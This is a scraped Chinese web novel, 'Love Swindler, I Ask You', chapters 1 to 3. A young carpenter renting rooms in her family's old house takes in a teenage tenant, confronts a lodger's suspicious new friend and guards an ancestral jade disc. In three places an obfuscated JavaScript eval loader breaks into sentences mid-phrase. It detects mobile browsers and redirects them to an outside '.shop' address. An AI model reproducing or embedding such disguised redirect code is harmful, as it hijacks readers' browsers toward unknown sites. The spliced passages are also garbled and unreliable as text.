《爱情骗子我问你》 1. 第 1 章 租客打电话过来的时候,天正在下雨,从五月中旬起,这场雨已经断断续续下了近一个月,期间少数没下雨的日子,天也总是阴沉沉的,很难见到完整的太阳或月亮。 琼云用吹尘枪喷干净身上的木屑,换上雨靴,套了雨衣,跟裹得严严实实坐在堂屋口看雨的奶奶打了声招呼,便戴上头盔,骑摩托车去城门口接人。 琼云之所以将家中的闲房出租,源于三年前发生的一场意外。 琼云的阿爹并不是她的生父,她的生父常年在外做工程,在她四岁那年和别的女人生了小孩,她的生母得知这件事后,就把她过继给了她膝下无子的大伯,一走了之。 从此,琼云对“大爹”改口叫“阿爹”。 阿爹结过两次婚,和第一个老婆结婚一年后就离了,没有小孩,和第二个老婆,也就是琼云的阿妈,也没有小孩。阿妈怀过三次孕,三次都没能够生下来,没这个缘分,两人也不强求,后来就再没有过小孩。 三年前的一个清晨,阿妈在河边洗衣服,起身时头晕跌进了河里,被人捞上来以后既没有死也没有活,在医院的ICU里靠呼吸机维持生命体征。 医生说阿妈脑部受到的损伤不可逆转,醒来的几率微乎其微,于是当一切力所能及的办法都尝试过后,阿爹签署了放弃治疗的同意书,与此同时,家中的存款和亲友援助的钱也已经被掏空。 阿爹是做木工的,琼云从小跟着他学,如今已经能够独当一面,父女俩挣的钱足够维持日常开销,慢慢把欠下的债还回去,但不足以抵挡再一次意外的降临。 奶奶年纪大了,身体器官老化严重,免疫力弱,反应也慢,容易生病也容易出意外,而阿爹和琼云虽然还年轻,身体康健,五感清晰,却并不代表意外和病痛不会发生在他们身上,就像阿妈那样。 于是阿爹不再拒绝低利润的小物件活计,不再对比他技术差却比他更擅长做生意的老油条们嗤之以鼻,也同意了琼云把家里的几间闲房收拾出来租出去的想法。 琼云和阿爹都会做木工,懂装修,还可以自己做家具,也多亏生在四季如春的地区,不必安装空调,故而闲房改造的成本很低,而且琼云家就在景区里,虽然商业化程度并不高,但这里有很多明清时期留下的古建筑,几乎每天都有游客到访,所以不怕收拾出来的闲房租不出去白费工夫。如今正式营业不到一年,两三个大小旅游旺季下来,就已经回本盈利了。 这回的租客是个看起来与琼云年纪相仿的男生,很不怕冷。琼云穿着长袖长裤,外面套了雨衣,路上被风灌进袖口还起了一身鸡皮疙瘩,那男生却只穿着无袖衫和短裤,把两条胳膊和小腿光溜溜地露在外面。琼云觉得他的皮肤摸起来一定是发烫的,就像摸小猫小狗的肚子那样。 男生的行李不多,仅有一只银色的行李箱,再有,就是他手里那把滴着水的折叠伞,琼云把头盔的护目镜推到鼻梁上,在嘈杂的雨声中扯着嗓子与他核对手机尾号和姓氏,确认无误后,才将摩托车挪进厚实的拱门底下。 现在雨大,这里没有游客进出,不挡道,要放在平常,琼云这样骑着摩托车在主路上横行霸道肯定是要被工作人员拦下来的。 琼云将车停稳后,就打开后备箱,取了备用的雨衣和头盔递给男生,再拿了抹布和带钩的绳子出来,擦干座位上的雨水,夺过男生的行李箱,拍回拉杆,一口气甩到后备箱上。 几乎与此同时,男生匆忙又明显来不及地伸出了双手,做出像要来抱琼云的动作。 琼云的余光看到了,男生的雨衣还没来得及穿妥帖,皱皱巴巴地卡在身上,还呆愣愣地伸着胳膊,样子很滑稽,大概是怕她一个女生扛不动,片刻后见她把行李箱捆结实了,才反应过来她手脚利落、有把子力气,于是默默将手收回。 行李确实有些重,琼云想,夏季的衣物轻便,里面重的大概是笔记本电脑、照相机之类的电子设备。 “穿好了吗?”琼云催他,用指背敲了敲车座尾巴两边连着后备箱的金属杆,“等下你抓着这个。” 男生点点头,系好雨衣,把刚才为了方便穿雨衣所以挂在车把手上的头盔取下来戴上,再捡起扔在地上的折叠伞。琼云见他收拾好,就上了车,男生再摁着她的肩借力跨到她背后坐稳,抓住两边的金属杆。 “好了吗?” “好了。” 听到肯定的答案,琼云用被雨打湿的皮手套抹了抹有些起雾的护目镜,发动车子,伴随着轰鸣声和雨声,从宽敞的主道拐进狭窄的小巷,在迷宫般弯弯曲曲的巷子里找到自己的家,熟悉的白墙彩画、黛瓦飞檐,她离家时没有锁门,两扇古朴的松木门虚虚掩着,底下门槛前垫着块方便车子进出的斜板。 两人从车上下来,琼云解下行李箱让男生先带进去,卸了重量,敞开门,琼云再上车沿着斜板把车开进去,车身少说有三百斤重,又带着上斜坡,开进去要比下车扶着推进去省力得多。 车平常停在院子里,下雨天,就停在走廊上。 奶奶仍坐在堂屋口看雨,双手夹在两腿之间,见琼云回来,就喊琼云,告诉她,刚才管悠的朋友来了。 琼云戴着头盔,没听清,以为奶奶只是在和自己打招呼,只诶了一声,用方言说“回来啦”。 琼云和男生各自脱下头盔和雨具,身上轻松不少。 可琼云吃亏在头发太长,脑袋被头盔和雨衣的帽子刮得乱糟糟的,好像刚起床,她忍不住解开头绳,任头发披散下来,垂到肩脊,手作梳子随意梳理了几下,没来得及重新扎起,看到男生的行李箱上都是雨珠,又紧着取出车后备箱里的抹布,蹲下去擦。 这个视角太居高临下,男生感到不自在,于是又伸出双手,做出好像要去抱琼云的动作:“我自己来吧。” 但琼云只是觉得这么蹲着擦方便而已,说不用。 琼云说不用,男生就真的“不用”,他蹲下来,看着琼云擦,他现在才有机会看清琼云长什么样子。 琼云的皮肤很白,头发很黑,碍于雨天的光线不够明亮,她的脸被笼罩在灰扑扑的空气中,白得缺乏气色,令她看起来好像黑白电影中的女鬼,又恰恰因为雨天的光线不够明亮,衬得她肤质很好,像打磨过的玉髓,绵绵的,半透不透,没有丝毫瑕疵和异色,与之相符的气味应该是冰凉的,但她闻起来却像一块干燥的木头。 真是木头的味道,男生扭头朝右手边敞着半扇门的厢房里看,他看到了很多木头,有成堆的方方正正的木材,还有塞满博古架的各种木雕摆件。 琼云擦干行李箱,到屋里抽了几张纸巾出来递给男生,指着他被雨水溅湿的小腿和鞋子说:“你鞋子湿了。” 男生哦了一声,刚站起来,又蹲下去擦小腿和鞋子。 “你等我一下。”琼云落下这话,匆匆进到堂屋右侧的卫生间里,洗了手擦干,拿梳子对着镜面重新扎起马尾,男生见她没关卫生间的门,拖着行李箱,跟屁虫似的站在门口等她,等琼云出来,再让开道,然后又跟在琼云身后。 琼云引男生出了堂屋,上北厢房的二楼去看房间。 相关证件和合同提前放在了桌子上,琼云进了房间就候在桌旁:“你看看有什么问题吗?没问题我们就签合同。” 男生左瞧瞧,右看看,很新奇地这里摸一摸,那里翻一翻,检查完了两眼放光地看着琼云,手朝身后画了一个弧:“这些装修都是你自己做的吗?” 楼下就是男生刚才看到的堆着很多木头的工作室,对照眼前这样使用大量木材装修而成的房间,寻常人都会做出这种推测,不止一个租客这样问过琼云,琼云用重复过数次的话回答他:“除了水电和墙体的拆改都是,我和我爸一起做的。” “好厉害。”男生一边撬手机壳,一边朝琼云走过来,撬出一个朝下开的夹角时,倒出一张身份证来,他捏在手里,嘴唇小幅度张合着,默念自己的身份证号码。 琼云扫了眼他的出生日期,顿时心里一惊。 比她小三岁,刚成年,算起来应该恰好是今年参加高考,和三年前的自己一样。 这是个介于儿童和成年人之间的非常尴尬的年龄,在法律意义上,人可以在十八岁当天突然成熟起来,但他周围的人,包括他自己,却不会这样机械化地快速转变认知。 平台上只能确认客户已满十八周岁,但这样刚满十八周岁,并且选择长租的客户,琼云还是第一次碰上,她试探道:“高考结束出来玩?” 男生对着自己的身份证点头,嗯了一声。 “你自己一个人?” 男生毫不迟疑,又嗯了一声。 “你家里人知道吗?” 屈朗回忆自己决定出门前的情景,爸妈在吵架,吵得很凶,他对他们说的最后一句话是:“吵死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168727|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,我走了。” 怎么不算呢? 他抬起头看向琼云,眼睛睁得大大的,说:“知道啊。” 回忆耗费时间使回答不够干脆,抬头的动作太多余,变化的表情很可疑,琼云看出他在撒谎,至少有所隐瞒。 琼云说:“定金不能退。”她怕孩子家长上门来闹。 屈朗有些莫名:“我知道啊。” “先看看合同吧。”琼云伸手示意屈朗坐下,并将簇新的房本和自己的身份证推到他跟前。 屈朗也把自己的身份证递给琼云,可琼云还没碰到手,他就又收回去了,横在自己脸边,指着上面的照片问:“前年照的,认得出来吗?” 屈朗近些年正是青春期猛蹿个的岁数,证件照上的脸蛋肉肉的,一看就是未成年,他现在的样貌比两年前成熟了不少,但五官的大形是没跑的。 “认得出来。”琼云拉开凳子坐下,一人一份,看合同。 屈朗咔哒一声将身份证扣到桌子上,也拉开凳子坐下,他压低脑袋用气声轻轻念了琼云身份证上的名字:“师琼云。”然后瞥了眼琼云本尊,才去看合同。 屈朗自从高考结束后再也没有在白纸上见过这么密密麻麻的字,合同看了没几秒,他就绝望地闭上了双眼,抓着头发嘟囔了一句:“好多字。”这么养了会儿神,睁开眼,正打算说些什么,却发现琼云眉头紧皱,像解数学题一样专心致志地盯着合同。 琼云在检查合同条款有哪些疏漏,心想以后一定要提前在平台上问清租客的年纪,筛掉像屈朗这类不靠谱的租客。 屈朗坐不住,拿起合同又在房间里兜起了圈子,摸那些原木的家具、雕花的窗棂,还去嗅挂在窗上的干艾草,他推开窗户欣赏了一会儿院子里种的花花草草,突然开口:“你祖上很富裕啊,有这么大的房子。” 琼云想起爷爷生前跟她说过,自家祖上原先是在中原一带盗墓的,后来受到官差的追捕才潜逃过来这山高皇帝远的“南蛮”之地,卖掉那些高官和皇室的陪葬品还没被抓着,确实能富裕,但她没必要和一个外人说得这么详细,只模棱两可:“应该。” “修过吗?这窗户看起来像新的。” “这房子是民国时期建的,几十年来断断续续修缮过。” 屈朗转过身来背靠墙角,房间的布局一览无余,他感叹道:“比照片上还漂亮,这么便宜,我一开始还以为骗人的呢。” “便宜?”琼云听到这个词不禁从合同上抬起脑袋来,近些年民宿兴起,卷价格都卷成大白菜了,她家的房子胜在地段好,装修有特色,无论长租还是短租,价格都属中档,经过那些白菜价房子的对比,他竟然还觉得便宜,看来家里经济条件还不错,家长平时也是舍得给孩子花钱的,那么到时候即便找上门来,也绝大概率不会为了这点定金咄咄逼人。 啪! 屈朗突然一巴掌呼到自己胳膊上,留下一只扁扁的蚊子尸体和一抹鲜血。 琼云抽了张纸巾给他,起身走到床头柜边上拉开抽屉,取了瓶喷雾出来递过去:“喷在身上蚊子就不咬你了,抽屉里还有电蚊香,晚上睡觉要把窗户和蚊帐关严,夏天到了,蚊子会很多。” 屈朗接过喷雾喷在自己刚才被蚊子咬过的地方,一股清清凉凉的药味,闻起来药效很好的样子,但挡不住胳膊上逐渐隆起一个包,发起痒来,这下他突然觉得小腿上也开始痒了,挠了挠,才发现小腿上也有两个蚊子包,不知道是什么时候被咬的,于是他又在小腿上喷了两下,最后喷香水似的朝头顶也喷了一下,任水雾自然飘落下来,洒遍全身,琼云脸上也蒙了一层清凉湿润的药味。 屈朗用喷头指着窗外的雨,问:“这雨什么时候能停啊?” 琼云说:“雨停下来的时候。” 屈朗愣了一会儿,突然对琼云笑起来:“你看起来很严肃,原来也会开玩笑。” 他笑得很大方,眼睛弯弯的,露出很多牙齿。 琼云发现他的牙齿很整齐,不是用牙套箍出来的整齐,而是因为长牙的时候很听话,没用舌头去舔,她说:“我不知道,你看看天气预报吧,虽然也不一定准,最近很少能看到太阳。” 屈朗皱起眉头说:“它要是一直下,就不方便出门了,我今天能在你这里吃饭吗?” 琼云点头:“15块钱一顿,早餐10块,我们把合同签了吧。” 2. 第 2 章 屈朗是一大早赶过来的,在飞机上补了两个半小时的觉,下飞机后转网约车再转琼云的摩托车,再到现在看好房间签完合同,已经临近午饭点,他的肚子都饿得咕咕叫了。 琼云拿了块鲜花饼给他,让他先垫垫肚子,免得待会儿饿出胃疼的毛病来,没本事吃饭,她也收不到饭钱。 菜一早就洗好了,只差开火,琼云进厨房里忙活,屈朗就靠在厨房门口探头探脑,一手捏着饼小口小口啃着,一手摊在下面接着渣。 由于冰箱在厨房门口,琼云需要进出拿东西,屈朗那么大个人杵在门口不免碍事,琼云被挡了两回道后,心里有点窝火,但碍于收了钱,不好为这点小事对客人发作,于是指指堂屋中央的餐桌对他说:“你坐下吧,我手里拿着东西把汤水溅到你衣服上不好。” 屈朗哦了一声,拉开椅子一屁股坐下去,终于老实了。 奶奶此刻也坐在餐桌旁,屋里亮了灯,她戴着老花镜正在绣什么东西,屈朗伸长脖子凑过去瞧,瞧清楚了,不由得竖起大拇指夸赞道:“奶奶,您还会绣花,真厉害。” 奶奶回了句什么,不知道是方言还是强拗的普通话,屈朗没听懂,疑惑地啊了一声。 随后奶奶又说了些什么,屈朗还是没听懂。 正当他因为语言不通而感到尴尬和寂寞的时候,他的余光里突然冒出一个撑着伞的人来,短头发,应该是个男人,刚从南厢房里出来,走到庭院中,他立即起身朝门口走去,大声朝那人打招呼:“老兄,你也住这儿?我新来的。” 撑伞的人转过身来,确实是个男人,五官很清秀,看着年纪不大,他不好意思地笑着:“我不住这儿,我朋友住这儿。”说到后半句指指南厢房的二楼,靠近大门口的那间。 屈朗的嗓门很大,惊动了厨房里的琼云,琼云关了火出来,恰好看到那撑伞的男人在和屈朗解释,她还听到奶奶的声音突兀地夹在其中,好像在说什么“管悠的朋友”。 “你哪个!?怎么在我家!?啥时候进来的!?” 屈朗被琼云吼得一激灵,手里的鲜花饼都抖下块渣来,小声说了一句:“不认识啊……” 撑伞的男人忙举起一只手掌挡在胸前,小幅度摆了摆,怕琼云污他清白:“不是,我不是坏人,我是管悠的朋友。”后半句又指南厢房二楼。 他的食指像魔法棒似的,一指,那儿的窗户就打开了,弹出个年轻女人的头脸和上半身来,这女人穿着睡衣,头发却打理得干净利落,还化着妆,她叫撑伞男人“阿源”,朝琼云解释:“他是我朋友。” 琼云不给她面子:“这地不让外人进,下次别来了,要见面出去见去。”她沿着北厢房可通大门口的廊道走到头,拨开插销,把门敞开,下逐客令。 阿源的脸皮没那么厚,不必闹到琼云上手去推,自己就抬腿走了,楼上的管悠一面叫阿源不要走,一面叱责琼云。 琼云驱走不速之客,把门重新闩好,直奔管悠的房间,管悠开了门,琼云又挨一顿劈头盖脸的骂。 下久了雨,空气里水湿很重,这会使某些气味变得更加浓烈,琼云闻到了一股有些腐烂的血腥味,还有一股很像红糖水的味道,她观察到床头柜上有一只保温食盒,敞着盖子,里面是红棕色的液体,表面浮着一些干扰红糖气味的白色棉絮状物质,应该是鸡蛋花。 琼云问:“你和那个阿源在哪认识的?我听他口音和你不像老乡,也不是本地人。” 管悠对琼云瞪眼睛,答非所问:“我来大姨妈身体不舒服,他来照顾我,你把他当贼一样赶!” 琼云也自顾自地说:“你过来没多久,肯定是刚认识,刚认识就对你关心到这种地步。” “怎么?我交朋友还要你管?”管悠把眼睛瞪得更大,“我不住你这了,把钱退给我,我明天就走。” “合同上写了不能带外人进来,你违约是你吃亏。” “哪写了?” “白纸黑字,你自己翻出来看看。” 管悠还真去翻抽屉。 琼云说:“那个阿源和你一样也是从外地过来旅居的吧?我要提醒你,这群人基本上没有正经工作,骗子很多,专挑你这样……” 琼云话还没说完,管悠突然插嘴:“他是个艺术家,我是他的缪斯女神。” “那肯定是个骗子没跑了。” 管悠是因为失恋所以辞职过来散心的,这个原因在琼云还没有向她提问之前,她自己就先抖了出来,毫无防备心,琼云要是个骗子,一定会挑她这样的人下手。 琼云接着说:“你长得这么漂亮,还刚失恋,有闲钱,很容易被坏人盯上的,别人怎么样我不管,但你是我的租客,我就有义务提醒你,我刚才出去接人的时候没锁门,他应该是那时候跑进来的吧,现在出去干嘛?给你买午饭?你告诉他不用来了,来了我也不给开门,我在做饭,等下给你送上来。” 不知道是因为被夸漂亮还是因为被琼云当作“自己人”,管悠突然没那么生气了,只是噘着嘴,瞪着琼云,合同也不找了。 琼云提醒完就出去了,门带到一半,突然停下,用下巴指指白净的被窝,说:“血要是沾到床上了赶紧告诉我,干了不好洗。”门缝越来越窄,完全闭合的前一秒,琼云看到管悠像老母鸡似的挺起胸脯,昂着脑袋骂她:“你怎么跟我妈一样?我年纪比你大,小妹妹!” 咔哒,门完全闭合,管悠的声音被闷在房间里:“我是很漂亮,但是漂亮有什么错?漂亮就该被坏人盯上吗……” 琼云下了楼,屈朗已经吃完鲜花饼,见她回来,凑到跟前来问:“你们吵架了吗?” 琼云回头看了眼,皱起了眉:“隔音这么差?” 屈朗摇了摇头:“我没听到,就问问。” 琼云跳过这个问题:“你不要在这边随便交朋友,骗子很多,专门挑你们这样不上班还有闲钱怀揣诗和远方过来旅居的人下手,而且合同上也写了不能带外人进来。” 屈朗点点头,朝外看了眼,问:“刚才那个人是骗子啊?” “绝大概率是。”琼云朝他拂拂手,腿往堂屋里迈,“你回房间里去吧,饭做好了我会给你送上去的。” 屈朗跟上去,开朗地说:“不用,我跟你和奶奶一起吃啊,不用那么麻烦再拿盘子分了。” “不麻烦。”琼云背对着屈朗,悄悄白了他一眼,谁乐意和陌生人互吃口水,有毛病。 “可是我饭量很大的,一碗饭不够。” “我用大碗给你盛。” 屈朗最终靠着死皮赖脸留了下来,但琼云也没完全依着他,将每样菜各分装一些在小碟里,用一只面碗盛了一碗抵三碗的米饭,全部搁在一只托盘里,端到他跟前:“够吃吗?不够再盛。” “够了,够了。”屈朗扶着托盘狂点头。 琼云又回厨房里拿另一份,准备给管悠送过去,可刚走出厨房,屈朗却叫住她:“还要给谁送?那个开窗的姐姐吗?她刚才出去了。” “什么?”琼云惊讶了两秒钟,将托盘搁到了桌子上。 不吃拉倒,好言难劝该死的鬼。 她把里面的菜碟捡到屈朗跟前:“归你了。” 结果屈朗吃撑了,他把跟前的饭菜全部扫进肚子里,只吐出骨头,最后靠在椅背上捂着嘴打了好几个嗝。 琼云一瞧他的碗碟,简直不用洗了,干净得就像被狗舔过一样,再瞧他的人,捂着嘴,眼神偷偷摸摸闪着光,也不知道是因为害臊还是吃饱了饭精神焕发,脸蛋很红润。 “牙线,自己拿。”琼云将一只带按钮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168728|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小方盒轻轻拍到餐桌上,然后开始收拾剩菜,余光看到屈朗侧过身背对她,朝着手机屏幕龇牙,大概牙面上并没有明显的菜叶或辣椒碎,不急着拿牙线去剔,而是先扭过头来看了她一眼,手再搁到桌子上,摸了根牙线叼进嘴里,起身走到门口去。 琼云收拾完剩菜和碗筷后,进了北厢房。 北厢房的一楼没有隔墙,只有承重柱,左右打通,空间很大,集工作室和会客厅于一体,里面有一张很大的根雕茶几,琼云在这张茶几上烧水泡茶。 屈朗坐在琼云对面,看着她泡茶,她泡茶的手法看起来有点门道,但又很不专业,茶杯是陶瓷的,茶壶却是紫砂壶,温茶具的时候只烫杯子不烫茶壶,洗茶叶时摁着盖子把茶壶提起来晃一晃,顺带把茶壶给烫了,沥出洗茶水,再拿新的滚水灌进去,静置一会儿,就倒出来喝。 琼云把第一杯茶放到了屈朗跟前。 屈朗摸了下发烫的杯身,问:“茶要钱吗?” “不要钱。”琼云给自己也倒了一杯。 屈朗捏着杯子朝外扩的沿口提起来,轻轻晃动,看茶的色泽,陶瓷杯内壁是纯白的,茶色不受异色干扰,是清澈透明的琥珀色,茶温一时间还没降下去,冒着白色的香气,他问:“这是什么茶?” “普洱,助消化。” 屈朗听到这话,有些羞涩地哼笑了两声,他把杯子凑到唇边,吹一吹,抿了一小口,又问:“为什么杯子是瓷的,茶壶却用紫砂壶?” “紫砂壶保温,热水高温持续时间足够长,才能把发酵茶泡透,但倒出来喝却需要降到一定温度才好入口,瓷制的杯子比紫砂的杯子散热更快。” “哦——”屈朗恍然大悟,把脑袋点得像古装剧里的教书先生。 琼云盯着他手里的杯子接着说:“而且紫砂吸附性强,不好洗,和口腔接触有唾液残留,容易滋生细菌。” 屈朗也低头看向自己手里的杯子,突然情绪高昂起来:“那用一次性杯子不是更好?”没等琼云回话,他又哈哈笑了两声,驳回自己的建议:“不环保。” 琼云倒不讲究环不环保,当客人来得多或者不久待的时候,她就会用一次性杯子招待他们。 屈朗品过茗,又开始好奇茶几,他一边抚摸茶几的木纹一边向琼云提问。茶几是红棕色的,木纹是普通的水波纹,涂了清漆,但由于年纪比琼云还大,体表的光滑已经分不清是清漆的功劳还是单纯被磨包浆了,茶几上没有雕刻任何花样,只十分朴素地按照根瘤的形状切出高低大小错落带隔水凸缘的几个平面。 “这是什么木头?” “草花梨。” “和黄花梨有关系吗?” “比黄花梨便宜。” “你们这里山很多,树也长得很高,这块料是不是就从山上采来的?” “缅甸过来的料。” “哦,边上就是东南亚,诶,你哪天去山上采菌子能不能带上我?刚才午饭吃的羊肚菌干是去年晒的吧?很好吃。” …… 屈朗的话很多,聊到茶水的颜色越来越深,琼云的耳朵差点长茧了,她毫不掩饰自己进食大量碳水化合物后发作的困倦,眼皮耷拉下来,用手撑着脑袋,屈朗不是个没眼力见的白痴,很快就起身告辞了。 琼云等他走了,就躺到竹躺椅上去睡午觉,室内还有一张靠墙的木沙发,也可以用来午休,她平常和师庆开了工,身上不免要沾满木屑,这些木屑不可能被吹尘枪吹得一干二净,不方便沾床,于是父女俩从来都是直接在工作室里午休的。 不知道睡了多久,琼云被叩门声给吵醒了,门上装了兽面铜环,叩出来的声音很清脆,睁开眼,雨已经很小了,琼云朝门口喊,问来人是谁,她本以为是管悠回来了,但回应她的却是四叔的嗓音。 3. 第 3 章 四叔住在城里,回老宅就算开车也需要半个小时,所以他基本上只有逢年过节的时候才会回来一趟,可这回不仅没碰上特殊节假日,还淋着雨,所以琼云猜测他大概率不是冲着喝茶闲聊来的,打开门便问:“啥事情,老耶?” 四叔收了伞,朝里屋打量了两眼,问:“你爸在不在?” “他去北京参展去了。”琼云被四叔带着从方言切换成了普通话,一边把四叔往里屋引一边回答。 “哪天能回来?” “不好说,至少要后天吧。” “家里那块玉还在吗?” “什么玉?”琼云走到茶几前,摸着茶壶的温度拎开盖子,看茶汤还剩多少。 四叔连忙伸手制止:“不用倒茶。”然后用双手比出一个大圆:“就是你爷爷留下来的那块玉璧,像铜钱一样,中间有个洞。” 琼云瞬间反应过来,那是一块汉朝的古玉,听爷爷说是祖上从哪个诸侯王的墓里挖出来的,这块玉璧和一串隋朝的五铢钱是唯二留存下来的东西,现在都放在正房二楼阿爹的房间里。 四叔告诉琼云,他最近认识了一个香港的朋友,做古董收藏的,两人聊天时想起来家里这块古玉,就想拍几张照片给那位香港的朋友看看。四叔没有提及那串五铢钱,因为那东西没特殊原因不稀罕,一挖就能挖出一个小山堆。 琼云将信将疑,引四叔上楼去找,放置那块古玉的地方既不隐蔽也没有上锁,只是一个普通的柜子,它和一些不值钱的杂物关在一起,抽屉一拉开就能看见,缠了布,裹在一个用旧棉衣缝制的布袋子里,很不起眼。 琼云将玉璧从袋里掏出来,解开缠在表面的布,令古玉完全显露出来,一看就是块老古董,颜色暗沉,不通透,也没什么光泽,边缘还磕碰掉好几块。 阴雨天气,即便早上敞开通风的窗户还没关上,屋里的光线也很昏暗,四叔拿了台灯过来,切换到冷白光,照在玉璧上,再横起手机,绕着玉璧左走右挪找角度拍照。 “咔嚓”,伴随着拍照的声响,天空劈下一记闪电,扎眼的白光爆炸在琼云视野的角落。 这时的雨下得细密而沉稳,稳定的频率中,杀出任何超出安全范围内的异响在琼云听来都格外清晰,拍照声并非来自四叔的手机,爆炸的白光也并非闪电——那是一台单反的闪光灯。 这台单反就架在窗外,琼云望过去,正好瞧见屈朗手忙脚乱的,差点把手里的单反给摔出去,紧接着他的身体突然僵住,因为他发现单反的绳子就挂在自己脖子上,根本摔不着。 琼云回头看了眼桌子上的玉璧,连忙跑过去把窗户关上,开门出去时,屈朗仍站在原地,怀里抱着相机,脸红得发黑,用很心虚的眼神看着她。 “有事?”琼云问他。 屈朗摇了摇头,眼神躲闪:“没事,就……随便拍拍。”他走到护栏边,指着楼下庭院里的绣球花,转移话题:“你家的花养得真好,很……大。” 琼云也靠近护栏,瞥了眼楼底的花,说:“我们这里的植物都很大,虫子也很大,老鼠也很大,你怕虫子吗?” 屈朗还是摇头,但不是说不怕,而是说:“还行。” 琼云点了点头:“不怕就好,它们会帮你抓蚊子。” 屈朗立刻精神了,他指着自己的房间问:“虫子很多吗?” “夏天很常见,但它们一般不会主动攻击人,就算被咬了,也和被蚊子咬了差不多,毒性很弱,顶多红肿发痒而已,如果你不喜欢和它们共处一室,可以告诉我,用药喷一下就好。” 屈朗哦了一声,举起单反,借栏杆作支架,拍楼下的花。 “不要整个人靠在护栏上。”琼云丢下这句提醒,就返回房间。 四叔低声问:“租客?” 琼云嗯了一声。 四叔给她使眼色,下巴一点一提,示意:“等下拍完,换个地方放。” 四叔今天穿了件夹克外套,一拍完照片,他就将玉璧裹好揣进了夹克里兜,与琼云下楼去见奶奶,顺便把玉璧藏进了奶奶的衣柜里。 第二天,太阳难得出来了,在厚实的云层中忽隐忽现,师庆打电话告诉琼云,他坐明天下午的航班回来,不用接。 第三天上午,琼云打电话给师庆,说奶奶自己给自己捂出了湿疹,她要上山去采药,师庆嘱咐她小心。 老人家凌晨三点就摸上二楼来把琼云的房门敲得邦邦响,琼云打开门问清情况,把她骂了一顿,喂了过敏药抹了清凉油,让她回去等着起药效。 六月已经入夏,只是碍于阴雨天气频繁,才没法整日把人放在火上烤,有时一天之内能历经四季,但奶奶始终活在冬天,一天到晚都穿得很暖和,不仅裹了秋衣和毛衫,还把棉外套的扣子系得严严实实。琼云劝她热了就脱,冷了再穿,她不听,她年纪大了怕死怕生病,捂出汗来也不舍得脱掉,夏季暑气旺,接连下雨水湿也重,这些东西侵袭进身体需要往外泄,要是不泄,还拼命往里捂,很难不捂出毛病来。 琼云见了奶奶黄腻的舌苔就知道她是自作自受,这也就算了,还要连累她休息不好,所以实在忍不住破口大骂。 使了治表的药过去三四个小时,琼云睡完回笼觉起来,再去看奶奶的情况,消下去一些,不痒了,但等吃过早饭后,却复发得更厉害了,这病好像癌细胞一样会吞食人摄入的营养。 琼云又给奶奶抹了一遍清凉油,提醒她不要去挠,实在忍不住就拍一拍,随后便提了背篓、剪刀、锄头,扶着自行车准备出门去采药。 “房东姐姐!” 自行车的前轮还没碰到大门口的斜板,突然有人叫住了琼云,是屈朗,只有他会这么称呼她。 屈朗知道琼云叫什么名字,但他还是喜欢不带名字叫人,就像他听过管悠的自我介绍后,还是在琼云面前称呼管悠为“开窗姐姐”。 屈朗抱着相机跑到琼云跟前,打量了两眼她的上山装备,问道:“你要去采菌子吗?” 琼云摇头:“不是。” 屈朗张着嘴巴,发出几声轻微的充满空气的语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168729|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 词,眼珠无意义朝四周活动了几下,然后说:“我也要出门。” 琼云“哦”了一声,回头喊奶奶过来闩门,然后就蹬着自行车走了。 琼云要采的药,学名叫佛甲草,这东西长得很像多肉,生命力十分旺盛,阴处阳处都能活,很常见,不难找,不必翻山越岭,在山底下的草丛里就能采到,《本草纲目》里记载,此药可清热解毒、消肿止痛,在民间经历过几代人的实践经验、口口相传,还积攒下来可以治湿疹的名声。 唯一要注意的,就是不能把长相相似的同科同属植物错认成佛甲草。 琼云注意了这一点,却忽略了另一点——安全问题。 她蹲麻了腿站起来打算休息一下的时候,才发现侧前方距离自己不到一米的地方盘着一条蛇,三角头,身上长着棕色圆斑,脖子比身体细很多,这是一条蝮蛇,能毒死人,每年咬人最多的蛇就是这种。 下了那么久的雨,好不容易出回大太阳,靠阳光来调节体温的冷血动物们当然会表现得比平时更加活跃。 琼云瞬间僵住身体,屏住呼吸,她从惊吓中恢复理智,才开始慢慢往后退,直退到五米开外。 蛇没有攻击她,她也远离了蛇,但这并不代表危机已经解除,因为她的背篓仍放在距离蛇很近的地方。 所以她捡了几块石头,朝那蛇周遭投掷过去,企图驱赶它,可不料这一举措竟使蛇推倒了背篓并钻了进去。 但幸好她没钻进深山老林里,只在山脚下,这附近有田地,有老农在耕作,她去问老农借长柄的锄头,跟老农说了情况,老农问她有没有捉过蛇,她说没有,老农说他帮她处理。 